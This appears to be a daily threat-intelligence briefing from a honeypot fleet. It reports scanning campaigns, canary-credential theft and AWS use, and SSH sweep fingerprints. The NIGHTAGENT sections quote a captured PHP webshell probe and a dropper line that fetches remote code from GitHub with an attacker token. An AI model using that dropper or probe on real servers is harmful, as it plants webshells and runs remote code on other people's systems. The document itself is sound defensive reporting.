FLUX FLEET — INTEL BRIEFING №27

Period: 2026-09-20 07:33 – 2026-09-21 07:33 UTC (24h, day 26 of operations)
Sources: 7 honeypot nodes (frantech-ts also runs non-flux ssh/telnet honeypots whose condensed feed lands in /data/hp-logs and is NOT part of this report) — canary-farm-1 (EU-hot), ai-devbox-1 (EU), control-1 (Middle East), ru-edge-1 (Russia), netcup-ts + sponge-01-ts + frantech-ts (deception-only, no canaries)
Network layer: Arkime on spark (the fleet's own pcap sensors) — step 3c, the only view of sweeps that never request a path
Confidence: High (direct observation, 26-day baseline, every result-tag spike attributed by spot query)

BLUF

A TechTies NL collector converted a canary to live AWS use: 85.11.167.85 minted 2 credentials on ai-devbox-1 at 14:24 UTC Sep 20 and used one the same day from a separate AWS-side IP — CreateUser ×3, DescribeRegions ×3, and a successful GetCallerIdentity; the deny-all policy held. NIGHTAGENT returned on a seventh operator (105.158.191.248) with the same unrotated GHSAT token, now through its 13th window. The netcup-ts +251% spike is a single BDCOM Bangladesh source (119.40.84.186) that sent 1,873 xmlrpc system.multicall POSTs in 7 minutes — the XMLRPC-BRUTE campaign's fourth operator and its first appearance on netcup. Frantech-ts absorbed a fifth replay of the 13,000-path IoT dropper dictionary (138.199.60.29, byte-stable, zero new paths), and canary-farm-1's +37% comes from one new census operator, 45.138.12.16 (Tc Datacenter LT, 2,749 events, 4 mints). Window mint economics: 58 credentials to 25 collectors, 9 failures, 3 used in AWS.

Key Judgements

  1. The mint→use pipeline converted again, and this time the collector is a named campaign operator. 85.11.167.85 (TechTies Inc. NL) ran a 30-event Go/curl/Chrome-mixed census on ai-devbox-1 at 14:24:05–14 UTC Sep 20, minted 1 /.env + 1 /@fs/.env credential in the same second, and drew CreateUser ×3 + DescribeRegions ×3 denials plus 1 successful GetCallerIdentity from 1 use IP. Campaign kin 94.26.106.214 (TechTies DE) minted 1 on the same node 5 hours later and stayed silent. The legacyOwnerAccess-DenyAll policy contained every destructive call; CreateUser attempts mark IAM escalation as a new target service for this actor family. (High confidence — Tracebit alert join + ip-journey on both IPs; the use IP appears nowhere in flux logs.)
  2. XMLRPC-BRUTE keeps commoditizing: a fourth operator, a new ASN, a record short-burst rate. 119.40.84.186 (BDCOM Online BD, ipsum:3 + firehol2) drove all 1,873 netcup wp-xmlrpc-post events between 06:04:47 and 06:11:19 UTC Sep 21 — 4.5 POSTs/s for 7 minutes, fixed username admin against 1,873 distinct passwords, forged Chrome/78. The preflight trio (/wp-includes/wlwmanifest.xml, /wp-json/wp/v2/users/, /wp-json/oembed/1.0/embed) matches the №14 and №16 shapes exactly. Fleet-wide the campaign shows one operator per burst window across Google BE (№16), GCP BE (№14), and now a Bangladeshi ISP. (High confidence — body-level username/password counting via spot query.)
  3. NIGHTAGENT's kit needs only a residential IP swap. 105.158.191.248 (python-requests/2.32.5) ran the phpunit webshell probe (<?php echo "NightAgent"?>), the nightshell dropper with GHSAT token GHSAT0AAAAAACYWDMT5UQIYLJJSWO5KVDNIZYGPEDA, and a fake-git walk on canary-farm-1 at 07:31 UTC Sep 21. The token is byte-identical across 13 windows now — GitHub has not revoked it. Zero mints this run; the actor took no credential bait. (High confidence — bodyPreview captured verbatim on both stages.)
  4. The OMEGA-SWEEP census template keeps recruiting operators outside its home /46. 45.138.12.16 (Tc Datacenter Limited LT, first-ever appearance) ran 2,749 GET events / 754 paths / 98 trap families on canary-farm-1 over 8.5 hours with 6 UAs led by forged Chrome/124, minted 4 across the window (the farm's composer-auth 44.4× and backup-archive 90× spikes are this IP), and shares only 141/754 paths with .245's 743-path core — a related census family, not the byte-identical template. Standing operators .245 (aidev, 1,471 ev, 10 mints) and .250 (farm, 526 ev, 5 mints) ran their known shapes; pool IP 94.154.43.60 kept its 6-node 9-event single-path pattern. (Moderate confidence — the 141/754 overlap rules out a merge, but the shared families still argue a common source; one more run settles registry status.)

Active Campaigns (day 26 status)

CREDENTIAL-DRAIN / TechTies collector ⟳ — FOURTH USE EVENT, FIRST FROM A NAMED CAMPAIGN ACTOR (Hostile, active)

  • Actors: mint side 85.11.167.85 (TechTies Inc. NL) + 94.26.106.214 (TechTies Inc. DE); use side 1 AWS egress IP absent from flux logs all-time.
  • TTPs: 85.11.167.85's census mixed honest Go-http-client/1.1 and curl/8.5.0 with forged Chrome UAs across 30 paths (/laravel/.env, /core/.env, /.aws/credentials, /@fs/.env, phpinfo cluster); both canary classes minted within 4 seconds. AWS-side ops: CreateUser×3, DescribeRegions×3 denied; GetCallerIdentity succeeded.
  • Assessment: the fleet's four use events (№14, №20, №24, №25) now include one by a campaign operator rather than an unattributed drain. CreateUser intent is escalation beyond recon — the deny-all policy is the control that held. Watch for the second TechTies credential surfacing; 55 of 58 window credentials remain unused (hoard or expiry).

XMLRPC-BRUTE ⟳ — RECORD BURST RATE, FOURTH OPERATOR, FIRST NETCUP RUN (Hostile, active)

  • Actors: 119.40.84.186 (BDCOM Online Limited, BD; ipsum:3, firehol2). Prior operators: 207.175.64.93 (Google BE, №16), 35.233.85.98 (GCP BE, №14), 1337 Services (days 2–7), GCP day-2.
  • TTPs: 1,873 POST /xmlrpc.php system.multicall bodies wrapping wp.getUsersBlogs with fixed username admin and a distinct password per POST; preflight GETs to /wp-includes/wlwmanifest.xml + /wp-json/wp/v2/users/ + /wp-json/oembed/1.0/embed; forged Chrome/78. 0 mints — credential stuffing against fake WordPress.
  • Assessment: the record per-second rate (4.5/s vs №16's 32/s fleet-wide over 4 minutes) came from a cheap-ISP source on the deception-only node — the campaign is fully commodity tooling, and the operator pool keeps widening. admin joins spd (№16) and ac14tbobpb (№14) on the watch list.

NIGHTAGENT ⟳ — SEVENTH OPERATOR, TOKEN STILL UNROTATED (Hostile, active)

  • Actors: 105.158.191.248 (first appearance; residential-range python client). Prior operators: 9 IPs across DELTA Fiber NL, ONP MA, ONP e-TN.
  • TTPs: phpunit probe body <?php echo "NightAgent"?> → dropper <?php copy('https://raw.githubusercontent.com/nightagents/nightshell/refs/heads/main/night.php?token=GHSAT0AAAAAACYWDMT5UQIYLJJSWO5KVDNIZYGPEDA','night.php');readfile('night.php'); ?> (token byte-identical, 13th window) → fake-git walk + tarpit cycling on canary-farm-1, 07:31–07:33 UTC Sep 21. Single node this run; 0 mints.
  • Assessment: the kit runs unchanged; operator cadence stays ~1 run per 2 windows. The unrotated GitHub token remains the campaign's single highest-value takedown lever — worth an abuse report if not yet filed.

OMEGA-SWEEP ⟳ — /46 OPERATORS HOLD, NEW LT EXTENSION CANDIDATE (Hostile, active)

  • Actors: 94.154.46.245 (Omegatech US) 1,471 ev / 743 paths on ai-devbox-1 at 17:53, 10 mints in a 12-s burst; 94.154.46.250 526 ev / 519 paths on canary-farm-1 at 21:45, 5 mints; 94.154.46.244 150-path pass on netcup 23:24 (first no-canary-node touch this window); 94.154.43.60 single-path 9-ev pattern on all 6 canary nodes. Extension candidate 45.138.12.16 (Tc Datacenter LT) — see Key Judgement 4.
  • TTPs: standing 743-path census, forged Googlebot/2.1; mints at /.env under burst pacing. The .16 variant adds webshell-probe (54) and aws-credentials-file (11) families with a slow 8.5-hour multi-pass cadence instead of a one-shot census.
  • Assessment: the /46 pool minted 15+ window credentials across three operators; the standing hoard (≈290 named-collector credentials all-time, zero AWS use from the pool) keeps growing. The .16 operator's different wordlist and cadence keep it out of the registry row for now — promote to a named extension if it repeats.

MEGA-DICTIONARY ⟳ — FIFTH REPLAY, BYTE-STABLE (Hostile, active)

  • Actors: 138.199.60.29 (Datapacket Limited CH, ipsum:1) — second run by this host; №23's replay was 138.199.6.195 from the same ASN. Prior hosts: 23.234.119.20 (tzulo US), 155.2.191.165 (Host Universal AU), 169.150.201.29 (Datacamp DE).
  • TTPs: 13,006 GETs, all not-handled, 01:08:12–01:10:45 UTC Sep 21 (2m35s, the slowest replay on record), 208 forged UAs led by libwww-perl/6.68. Anti-join against the full corpus: 13,006/13,006 overlap — zero new paths; wordlist byte-stable at 13,000 + the 4 /stub.* additions from №26. Build markers present (/manta.*, /fvbig/sever1078.*, /nokillbins/*, /minerd); it also drove frantech's +54% node delta.
  • Assessment: five replays, five hosts, one shared manifest. The artifact outlives its operators; the version tracker stays unchanged this cycle.

LIBREDTAIL-KIT ⟳ — 13TH WINDOW, DROPPERS 10/10 CAPTURED (Hostile, active)

REGISTRY-HUNT / LeakIX ⟳ — TWO-NODE WAVE, 8 MINTS AT 1/IP (Borderline, active)

Standing actors (persistence check)

  • 80.94.95.211 (SS-Net RO) — 15th window in 17: 330 ev / 326 paths on ru-edge-1 at 02:12 + 35 ev aidev; 4 window mints (3+1), 27 in the 6-day Tracebit pull, zero AWS use ever. New-path spread on ru-edge (/beta/, /examples/*/​.env, /services/simcore/.env) — its wordlist grew.
  • 213.209.159.175 (Feo Prest DE) — 15th window: 84 ev farm (05:20 census, 3 mints, MSIE-10 forgery) + 77 ev control (15:24 Firefox/1.0 forgery, 3 mints) + a 05:23 control pass (IE7 forgery, 3 mints) — 9 window mints, 39 all-time in the pull, still the fleet's top persistent collector.
  • 102.220.161.139 / .102 (VPS Dedicated SI, CREDSWEEP) — .139 ran 710 ev on ai-devbox-1 (03:44–04:26, 1 mint, all-time 9) plus light touches on farm/control/ru-edge; .102 ran 141 ev on ru-edge (03:42, 1 mint, all-time 5). The /24's three-operator pattern continues.
  • 195.178.110.104 (Techoff BG) — 145 wp-batch-rejected events on ai-devbox-1 (second consecutive window for the /24's wp-batch shape — promotion candidate per №26).
  • 193.32.204.199 (git-walker) — 97 ev across 3 nodes, continuing its stripped-Chrome .sSH/ID_* probing.
  • 185.73.23.162 (Ruhr-Uni Bochum, benign) — 676 ev of /-only research scanning on sponge + netcup; unchanged.
  • 87.120.104.29 (CONFIG-SWEEP) — returned on frantech-ts: 300 ev / 150 paths in 0.9 s at 18:47 (no canaries there; first run since №9).
  • Benign scanners present: CensysInspect (56), zgrab (70), Palo Alto Xpanse (56), OAI-SearchBot (18), FeedFetcher-Google (1) — all shallow, honest UAs, no mints.

Network-layer recon (Arkime)

Network-layer recon (Arkime) — 2026-09-20 07:33:00 → 2026-09-21 07:34:06 UTC

Fingerprint field ssh.hassh, destination port 22 · 78,388 inbound sessions · fleet IPs: ai-devbox-1 217.15.163.226, canary-farm-1 109.123.246.142, control-1 38.54.2.209, frantech-ts 209.141.62.110, netcup-ts 159.195.21.150, ru-edge-1 130.94.89.46, sponge-01-ts 89.167.72.144

Session tags: honeypot 58,024, sensor:sponge-01-ts 21,963, sponge-01-ts 21,963, sensor:ru-vps-01-ts 12,115, bahrain-sponge-01-ts 11,777, sensor:bahrain-sponge-01-ts 11,777

client fingerprint sessions src IPs networks countries ports first → last shape
f555226df1963d1d3c09daf865abdc9a 6,936 360 192 66 22 2026-09-20 07:33 → 2026-09-21 07:25 dispersed sweep (one port, many networks)
0a07365cc01fa9fc82608ba4019af499 26,244 40 17 12 22 2026-09-20 07:33 → 2026-09-21 07:25 single-source
16443846184eafde36765c9bab2f4397 7,712 35 20 12 22 2026-09-20 07:33 → 2026-09-21 07:19 single-source
084386fa7ae5039bcf6f07298a05a227 46 32 9 7 22 2026-09-20 07:45 → 2026-09-21 07:00 single-source
03a80b21afa810682a776a7d42e5e6fb 278 25 19 10 22 2026-09-20 11:27 → 2026-09-21 07:14 single-source
dd9bcf093c355da7000132131cb36fd0 27 23 1 1 22 2026-09-20 10:07 → 2026-09-21 05:00 single-source
e54ef3ec27fe1fea7ab64d3fa05359fd 39 18 6 4 22 2026-09-20 07:49 → 2026-09-21 07:11 single-source
2ec37a7cc8daf20b10e1ad6221061ca5 1,825 17 3 4 22 2026-09-20 07:34 → 2026-09-21 07:24 single-source

Flagged sweeps (1) — one fingerprint, many networks, single port, no authentication attempted:

  • f555226df1963d1d3c09daf865abdc9a — client banner ssh-2.0-libssh_0.9.6, 6,936 sessions from 360 source IPs across 192 networks in 66 countries, port 22, avg 4,905 B/session. Networks: AS135377 UCLOUD INFORMATION TECHNOLOGY HK LIMITED, AS16276 OVH SAS, AS14061 DigitalOcean, LLC, AS8075 Microsoft Corporation, AS150436 Byteplus Pte. Ltd.. Busiest sources: 39.117.79.36, 163.7.9.84, 201.76.120.30, 65.254.95.164, 106.75.153.103. Last 7 days: 09-15 102 IPs, 09-16 85 IPs, 09-17 66 IPs, 09-18 147 IPs, 09-19 328 IPs, 09-20 327 IPs, 09-21 152 IPs.

Thresholds: dispersed = ≥50 source IPs and ≥20 networks on one port; mass = ≥200 source IPs. Fingerprint identity, never source IP: sweep operators rotate addresses and keep the tool.

Network-layer notes

  • LIBSSH-MASSSWEEP stays the only flagged sweep: 360 source IPs / 192 networks (7-day range 66–328 IPs/day; the 09-19/09-20 surge to 327–328 has cooled to 152 mid-window). Standing since the registry's 2026-09-20 network-layer entry; no registry change.
  • GO-BANNER-SWEEP (594c5787…) logged no ≥5-session fingerprint row this window — the daily SSH fingerprint history in the recon digest shows it absent at this granularity for the first time. Watch one more cycle before calling a pause.
  • The unregistered third Go client 16443846184e… (banner SSH-2.0-Go, the "unregistered sibling" from the 2026-09-20 registry note) ran 7,712 sessions from 35 IPs / 20 networks — single-source shape, below sweep thresholds, and unchanged in character from its 27 Aug / 1 Sep behavior. It stays unregistered: it is a steady background client, not a dispersed sweep.

Fleet Observations

  • Mint economics: 58 credentials to 25 collector IPs (digest rows 71 issued / 69 creds include the +4h cast boundary; the Tracebit pull is the credential count). Failures: 9 × 400 Bad Request (aidev 5, ru-edge 3, control 1), failure ratio 0.16:1 — the best band since №16's zero-failure window. canary-farm-1: zero failures.
  • The fourth mint→use event is the headline: 3 credentials reached AWS, 1 from the named TechTies collector; CreateUser attempts are a first for the fleet.
  • Attribution posture: 0 empty-clientIp rows in-window (post-fix attribution verified again); all four XFF counters at zero hostile hits (4,401 any-XFF and 712 ignored-internal rows are the designed Caddy-appended background). TLS split: canary-farm-1 3,203 https / 1,644 http; ai-devbox-1 486 https / 3,262 http; inference.fapthropic.com carried 801 events.
  • Control velocity: 2,632 events / 89 unique IPs in-window (738 ev / 28 IPs on the partial 09-21 day). The ramp holds its 62–129 daily-IP band since 09-16; day 8 of the deliberately-fresh dataset.
  • Node volume moves, all attributed: netcup-ts +251% = the BDCOM xmlrpc burst (1,873 of 2,777 events). canary-farm-1 +37% = 45.138.12.16's 2,749-event census. frantech-ts +54% = the MEGA-DICTIONARY replay (13,006 of 13,824). control-1 −40% = no OMEGA .244/.247-class run this window (№26 had 2,005).
  • SSH/telnet (frantech-ts only — single sensor, not fleet-wide): funnel 594 sources → 485 shells (82%) → 306 command-runners (63% of shell-getters). Event level: 21,938 attempts → 10,472 accepted logins → 11,510 commands. Zero new commands (0 of 57 distinct) and zero new credential pairs (0 of 9,796) — second fully static window in a row; the 345gs5662d34 (1,382 attempts) and root/3245gs5662d34 (1,028) pairs keep their top records. Commodity telnet botnets: 1,053 attempts.

Canary credentials

Summary

3 Tracebit alert(s) fired in the window (9 use events across 3 credentials). Fleet sensors minted 58 credentials to 25 collector IPs; 3 credential(s) reached AWS. Use outcomes: 6 failure, 3 success. Denied operations: CreateUser×3, DescribeRegions×3. 3 call(s) succeeded: GetCallerIdentity. Successes leak identity at most; treat any success beyond sts:GetCallerIdentity as a finding.

Mint → use funnel

Metric Count
Credentials minted (fleet, window) 58
Distinct collector IPs 25
Credentials used in AWS (alerts) 3
Credentials stolen, no observed AWS use in window 55

Per collector (evidence for attribution prose — join each IP against ip-journey and the campaign registry):

Theft IP Sensor Mints (window) Creds used in AWS Use IPs Operations Mint history (6d)
94.154.46.245 ai-devbox-1 10 0 0 — 10 mints since 2026-09-20 17:53
213.209.159.175 control-1 6 0 0 — 39 mints since 2026-09-15 23:33
94.154.46.250 canary-farm-1 5 0 0 — 10 mints since 2026-09-16 12:34
45.138.12.16 canary-farm-1 4 0 0 — 4 mints since 2026-09-20 17:25
213.209.159.175 canary-farm-1 3 0 0 — 39 mints since 2026-09-15 23:33
80.94.95.211 ai-devbox-1 3 0 0 — 27 mints since 2026-09-16 21:23
195.177.94.18 canary-farm-1 2 0 0 — 4 mints since 2026-09-19 23:59
134.209.25.199 ai-devbox-1 1 0 0 — 3 mints since 2026-09-15 21:06
140.245.97.208 ai-devbox-1 1 0 0 — 2 mints since 2026-09-20 17:38
140.245.97.208 canary-farm-1 1 0 0 — 2 mints since 2026-09-20 17:38
142.93.129.190 ai-devbox-1 1 0 0 — 2 mints since 2026-09-17 20:41
144.172.99.12 control-1 1 0 0 — 2 mints since 2026-09-16 19:36
146.190.242.161 canary-farm-1 1 0 0 — 1 mints since 2026-09-20 20:28
155.117.232.31 ai-devbox-1 1 0 0 — 4 mints since 2026-09-20 20:47
155.117.232.31 canary-farm-1 1 0 0 — 4 mints since 2026-09-20 20:47
155.117.232.31 control-1 1 0 0 — 4 mints since 2026-09-20 20:47
155.117.232.31 ru-edge-1 1 0 0 — 4 mints since 2026-09-20 20:47
159.89.174.87 ai-devbox-1 1 0 0 — 3 mints since 2026-09-15 21:40
173.236.241.18 canary-farm-1 1 0 0 — 1 mints since 2026-09-21 04:24
206.81.24.227 ai-devbox-1 1 0 0 — 2 mints since 2026-09-16 19:29
207.154.197.113 canary-farm-1 1 0 0 — 1 mints since 2026-09-20 20:27
209.38.208.202 canary-farm-1 1 0 0 — 4 mints since 2026-09-15 21:40
209.50.174.218 canary-farm-1 1 0 0 — 1 mints since 2026-09-20 13:09
209.87.164.141 ai-devbox-1 1 0 0 — 2 mints since 2026-09-20 16:51
209.87.164.141 canary-farm-1 1 0 0 — 2 mints since 2026-09-20 16:51
45.153.34.39 canary-farm-1 1 0 0 — 2 mints since 2026-09-20 03:56
64.227.32.66 canary-farm-1 1 0 0 — 1 mints since 2026-09-20 20:18
64.89.163.14 ai-devbox-1 1 0 0 — 2 mints since 2026-09-20 00:15
80.94.95.211 ru-edge-1 1 0 0 — 27 mints since 2026-09-16 21:23
85.11.167.85 ai-devbox-1 1 3 1 CreateUser, DescribeRegions, GetCallerIdentity 1 mints since 2026-09-20 14:24
94.26.106.214 ai-devbox-1 1 0 0 — 1 mints since 2026-09-20 19:24
95.168.172.81 canary-farm-1 1 0 0 — 1 mints since 2026-09-20 17:08

Persistent collectors with no observed AWS use (candidates for hoard/resale/untraced use — check prior briefings for named campaigns):

  • 213.209.159.175: 39 mints, 2026-09-15 23:33 → 2026-09-21 05:23
  • 80.94.95.211: 27 mints, 2026-09-16 21:23 → 2026-09-21 02:12
  • 31.57.219.158: 20 mints, 2026-09-18 19:15 → 2026-09-18 19:38
  • None: 16 mints, 2026-09-14 06:20 → 2026-09-15 10:51
  • 94.154.46.244: 16 mints, 2026-09-17 09:24 → 2026-09-19 08:51
  • 94.154.46.242: 12 mints, 2026-09-15 15:58 → 2026-09-17 08:56
  • 176.65.144.71: 10 mints, 2026-09-18 06:02 → 2026-09-18 06:02
  • 94.154.46.243: 10 mints, 2026-09-15 20:50 → 2026-09-15 20:50
  • 94.154.46.245: 10 mints, 2026-09-20 17:53 → 2026-09-20 17:53
  • 94.154.46.250: 10 mints, 2026-09-16 12:34 → 2026-09-20 21:45
  • 102.220.161.139: 9 mints, 2026-09-15 21:00 → 2026-09-20 03:44
  • 129.222.206.62: 8 mints, 2026-09-15 18:35 → 2026-09-15 21:40
  • 2a01:e0a:3be:cec0:f54c:335a:8d29:be: 8 mints, 2026-09-17 17:04 → 2026-09-17 17:04
  • 8.234.173.27: 7 mints, 2026-09-16 00:03 → 2026-09-16 00:03
  • 23.234.114.118: 6 mints, 2026-09-18 12:28 → 2026-09-18 14:07
  • 94.154.46.247: 6 mints, 2026-09-16 04:01 → 2026-09-16 04:02
  • 102.220.161.102: 5 mints, 2026-09-18 00:13 → 2026-09-20 03:42
  • 167.99.79.44: 5 mints, 2026-09-19 18:01 → 2026-09-19 20:02
  • 155.117.232.31: 4 mints, 2026-09-20 20:47 → 2026-09-20 21:20
  • 178.16.54.184: 4 mints, 2026-09-17 14:21 → 2026-09-17 14:21
  • 195.177.94.18: 4 mints, 2026-09-19 23:59 → 2026-09-20 13:06
  • 196.89.218.205: 4 mints, 2026-09-18 00:57 → 2026-09-18 01:39
  • 209.38.208.202: 4 mints, 2026-09-15 21:40 → 2026-09-20 20:18
  • 45.138.12.16: 4 mints, 2026-09-20 17:25 → 2026-09-21 01:36
  • 69.5.20.14: 4 mints, 2026-09-16 09:23 → 2026-09-16 15:50
  • 134.209.25.199: 3 mints, 2026-09-15 21:06 → 2026-09-20 20:08
  • 159.89.174.87: 3 mints, 2026-09-15 21:40 → 2026-09-20 20:18
  • 167.99.181.249: 3 mints, 2026-09-15 18:13 → 2026-09-17 20:23
  • 176.65.148.71: 3 mints, 2026-09-16 17:48 → 2026-09-19 07:02
  • 213.209.159.154: 3 mints, 2026-09-17 20:33 → 2026-09-18 18:58
  • 41.249.4.249: 3 mints, 2026-09-17 03:54 → 2026-09-17 03:55
  • 64.226.65.160: 3 mints, 2026-09-15 20:17 → 2026-09-16 21:06

Gaps / Next Collection

  1. The second TechTies credential. 85.11.167.85 minted 2 (one /.env + one /@fs/.env); only 1 reached AWS. Pull Tracebit alerts mid-cycle tomorrow — if the second credential converts, capture the use IP before the 24h pull overwrites the join.
  2. 45.138.12.16 (Tc Datacenter LT) second run. One more census pass settles whether it joins OMEGA-SWEEP as a named extension operator (registry note: 141/754 core overlap) or stands alone as a new census family. Its 4-mint multi-hour cadence differs from every /46 shape.
  3. GO-BANNER-SWEEP status. The fingerprint row is absent from this window's recon digest at the ≥5-session floor. Check next cycle whether the SSH-2.0-Go banner client paused or dropped below retention granularity before changing its registry status.
  4. NIGHTAGENT GitHub token. The token GHSAT0AAAAAACYWDMT5UQIYLJJSWO5KVDNIZYGPEDA is unrotated through its 13th window. An abuse report to GitHub (repo nightagents/nightshell) remains unfiled as of this briefing — filing it is the single cheapest disruption available.

Digest: /data/flux-logs/reports/flux-digest-2026-09-21.md
Briefing: /data/flux-logs/reports/flux-fleet-intel-briefing-2026-09-21.md

Visuals: /data/flux-logs/reports/flux-fleet-visuals-2026-09-21-r2.html

Watch next cycle: (1) The second TechTies credential — whether it converts to AWS use like the first. (2) 45.138.12.16 (Tc Datacenter LT) — a second census run promotes it to a named OMEGA-SWEEP extension. (3) GO-BANNER-SWEEP's absent fingerprint row — pause or retention artifact.